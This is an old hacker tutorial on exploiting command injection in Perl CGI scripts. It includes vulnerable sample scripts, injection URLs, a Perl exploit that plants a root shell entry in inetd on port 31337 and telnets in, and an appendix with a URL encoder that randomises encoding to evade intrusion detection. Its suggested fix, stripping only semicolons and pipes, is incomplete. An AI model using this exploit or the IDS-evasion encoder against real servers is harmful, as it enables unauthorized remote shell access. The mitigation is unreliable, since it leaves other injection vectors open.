============================================ A Comprehensive Guide to CGI Exploitation | Written by bansh33 [rishi@scenewhores.com] | www.r00tabega.org // www.securityapex.com | | 01.26.00 | ============================================ Table of Contents I. Introduction II. Explanation of vulnerabilities in Perl based CGI scripts III. Exploiting the Vulnerabilities in CGI scripts IV. Spawning a Shell - Example Code V. Conclusion VI. Contact Info VII. Appendix A - Pex.pl I. Introduction I was searching around packetstorm today for a good guide to writing CGI exploits, and was quite surprised to find none. CGI vulnerabilities are definitely the most common (not to mention most script kiddy-esque) holes out there. I've been told that others have written excellent papers on this subject, but since I've been unable to find any of these I figured I'd just write my own. More often than not, CGI security holes are simply overlooked. The fact of the matter is that unlike holes in various other services, you cannot simply cut off access to a port to fix CGI security issues. Port 80 must remain open (unless you want to disable your web server altogether), and as such, no firewall (either software or hardware) will be able to prevent attacks on insecure CGI. Though CGI can be coded in any language, it is most often coded in perl. The following paper assumes that the reader has a basic knowledge of the HTTP protocol as well the perl programming language. I will attempt to focus on the potential security holes present in many perl CGI scripts, as well as explaining why they are present, and how to fix them. II. Explanation of vulnerabilities in Perl based CGI scripts Most of the time, vulnerabilities in perl based CGI scripts stem from the programmer failing to parse input to the open() function, or failing to parse input when executing shell commands. You're probably thinking: "but bansh33, isn't the open function for opening files? Why would this be a security hole?". This is correct, however, when a pipe is passed to the open function, it can also be used to execute commands. For example: #!/usr/bin/perl open(myfile, "myfile.txt"); @myfile = ; foreach $line (@myfile) { print "$line"; } close(myfile); This snippet of code will use the open() function to display the contents of myfile.txt. But look at what happens when we modify the line: open(myfile, "myfile.txt"); to read open(myfile, "ls -l|");. [rishi@ph34r rishi]$ perl test.pl total 12 drwx------ 2 rishi rishi 4096 Jan 25 15:28 elite_oh_day/ drwx------ 2 rishi rishi 4096 Jan 25 15:28 security_files/ -rw------- 1 rishi rishi 118 Jan 25 15:29 test.pl [rishi@ph34r rishi]$ Clearly, adding a pipe to the end of our string allows us to execute commands with the open() function. Well, since we know that many perl programmers use open() in their CGI scripts to write data to or open files, it would be pretty easy to execute arbitrary commands, and even spawn a shell on a box running an insecure CGI script. If our objective is to obtain a shell, it is also important to consider the two other ways in perl to execute commands. The first of these is the system() function which automatically displays the output of commands. Example: system("ls"); will display the output of ls - a directory listing. Next, we can execute commands in the following manner: @array = `ls`; This will put the output of ls into @array, and can be outputted in the way shown with the first code snippet. III. Exploiting the Vulnerabilities in CGI scripts Now that we (hopefully) have a good understanding of the most common vulnerabilities present in perl based CGI scripts, we can begin to work on exploiting them to our advantage. Let's look at a sample vulnerable program I quickly whipped up. #!/usr/bin/perl # Simple CGI script to let web users run an nmap scan from their web browser $server = $ENV{'QUERY_STRING'}; # using a GET request @scan = `nmap $server`; foreach $line (@scan) { print "$line"; } Clearly, the 4th line - @scan = `nmap $server`; is the line of insecure code. Since $server is controlled by our GET request, we can obviously make the server do whatever we want. If you know a bit about UNIX, you'll know that you can execute multiple commands on a single line by separating them with a semicolon (;). For example: [rishi@ph34r rishi]$ echo hi;echo word hi word [rishi@ph34r rishi]$ As such, the string to pass to the script would be something like: www.yahoo.com;ls. Before we can actually pass this string to the script, however, we must encode it to its hex equivalent. The easiest way to do this is to use a script called pex.pl written by bighawk and inv (the code for this is at the end of this document). Additionally, pex will "randomize" the url encoding everytime in order to help bypass IDS (intrusion detection systems). Putting "www.yahoo.com;ls" into pex gives us: [rishi@ph34r rishi]$ perl pex.pl "www.yahoo.com;ls" GET w%77w.ya%68%6Fo.com%3B%6Cs HTTP/1.0 [rishi@ph34r rishi]$ As such, to execute our command of "ls" on our target, we could point our web browser to http://the-server.com/cgi-bin/nmap.cgi?w%77w.ya%68%6Fo.com%3B%6Cs and we would receive the output of the ls command. If you're confused by all this hex stuff, it should suffice to say that putting our string in hex is simply another way to write the same string - it's just required that certain characters like the semicolon be in hex for submitting data to CGI scripts. Next, let's look at another example CGI script using the open() function. Here's a quick script I wrote to emulate the capabilities of SSI (server side includes). Basically, if you give this script the name of a file it'll display the contents. #!/usr/bin/perl $file = $ENV{'QUERY_STRING'}; open(myfile, "$file"); @myfile = ; foreach $line (@myfile) { print "$line"; } close(myfile); In this case we want $file to be "our command|". Again, we can simply use pex to encode our command(s), and then use a GET request to have the server execute them. Though I have only focused on GET requests, a POST request to a vulnerable CGI script is much the same - just encode your commands, and put your string in the text box or whatever is being read from to post to the CGI script. Obtaining a shell as the web user (usually the user "nobody") is basically just a series of commands to bind a shell to a specific port. The next section will show you an example of a generic perl script to bind a shell on a vulnerable CGI script. IV. Spawning a Shell - Example Code ---------------cut here------------------- #!/usr/bin/perl # spawns a shell on port 31337 use IO::Socket; if (@ARGV < 1) { print "usage: perl spawn.pl [host]\n"; exit; } $host = $ARGV[0]; $shell = IO::Socket::INET->new( PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") || die "Connection failed.\n"; print $shell "GET /cgi-bin/some-vulnerable-cgi.pl?/bin/echo%20\"31337%20stream%20tcp%20nowait%20root%20/bin/sh%20-i\"%20>>%20/tmp/inet| HTTP/1.0\n\n"; # Connection closes after this, so we have to re-open it. $shell = IO::Socket::INET->new( PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") || die "Connection failed.\n"; print $shell "GET /cgi-bin/some-vulnerable-cgi.pl?/usr/sbin/inetd%20/tmp/inet| HTTP/1.0\n\n"; sleep 1; print "trying to connect to $host on port 31337..."; system("telnet $host 31337"); ---------------end code---------------------- Hopefully you'll be able to learn from and modify it to suit your needs. V. Conclusion So what can a programmer do to prevent such buggy CGI code? The basic solution is to remove all potentially dangerous characters such as semicolons and pipes (; and |). The following code is a simple way to do this. $variable =~ s/\|/ /g; $variable =~ s/\;/ /g; That will replace all ;'s and |'s in $variable with spaces. Hopefully the evil hax0r's attempt to execute arbitrary code will be foiled ;). Well.. that's my story and I'm sticking to it. Hope you found the paper helpful. Peace and love, -rishi/bansh33 Note: the information contained herein is meant to educate and inform the reader about how to discover and fix security holes. I do not in any way condone using the information above to gain any sort of unauthorized access. VI. Contact Info If you wanna contact me for any reason here's how: Web: www.r00tabega.org and www.securityapex.com AIM: xbansh33 Email: rishi@scenewhores.com IRC: irc.r00tabega.org VII. Appendix A - Pex.pl #!/usr/bin/perl # bighawk text-2-hex converter.. my $text = $ARGV[0]; @text = split(//, $text), "\0"; $c=0; $q=1; sub convert { @stuff = @_ ; for $stuff (@stuff) { $i++; split(/ */, $stuff); for $letter (@_){ $first = int(ord($letter) / 16); $second = ord($letter) - ($first * 16); $f = digit_to_letter($first); $s = digit_to_letter($second); print "%$f$s"; $q++; if($q >= 10){ print "\n"; $q = 1;} } if( $i < @stuff){ print "0x20 "; $q++; if($q >= 10){ print "\n"; $q = 1} } } } print "\n"; sub digit_to_letter { $x = 0; if($_[0] <= 9) { $x = "$_[0]"; }elsif($_[0] == 10) { $x = 'A'; }elsif($_[0] == 11) { $x = 'B'; }elsif($_[0] == 12) { $x = 'C'; }elsif($_[0] == 13) { $x = 'D'; }elsif($_[0] == 14) { $x = 'E'; }elsif($_[0] == 15) { $x = 'F'; } return $x; } sub rand_encode { while($c < $#text+1 ) { $x = rand(10); if ($text[$c] eq "/") { print $text[$c]; } elsif($text[$c] eq ".") { print $text[$c]; } elsif ($x > 5) { convert($text[$c]); } else { print $text[$c]; } $c++; } } print "GET "; rand_encode(); print " HTTP/1.0\n"; # u'll change this to somethign like @array = "GET ", rand_encode(). "HTTP/1.0\n\n"; # wait maybe you wont have to just do a print $server, or whatever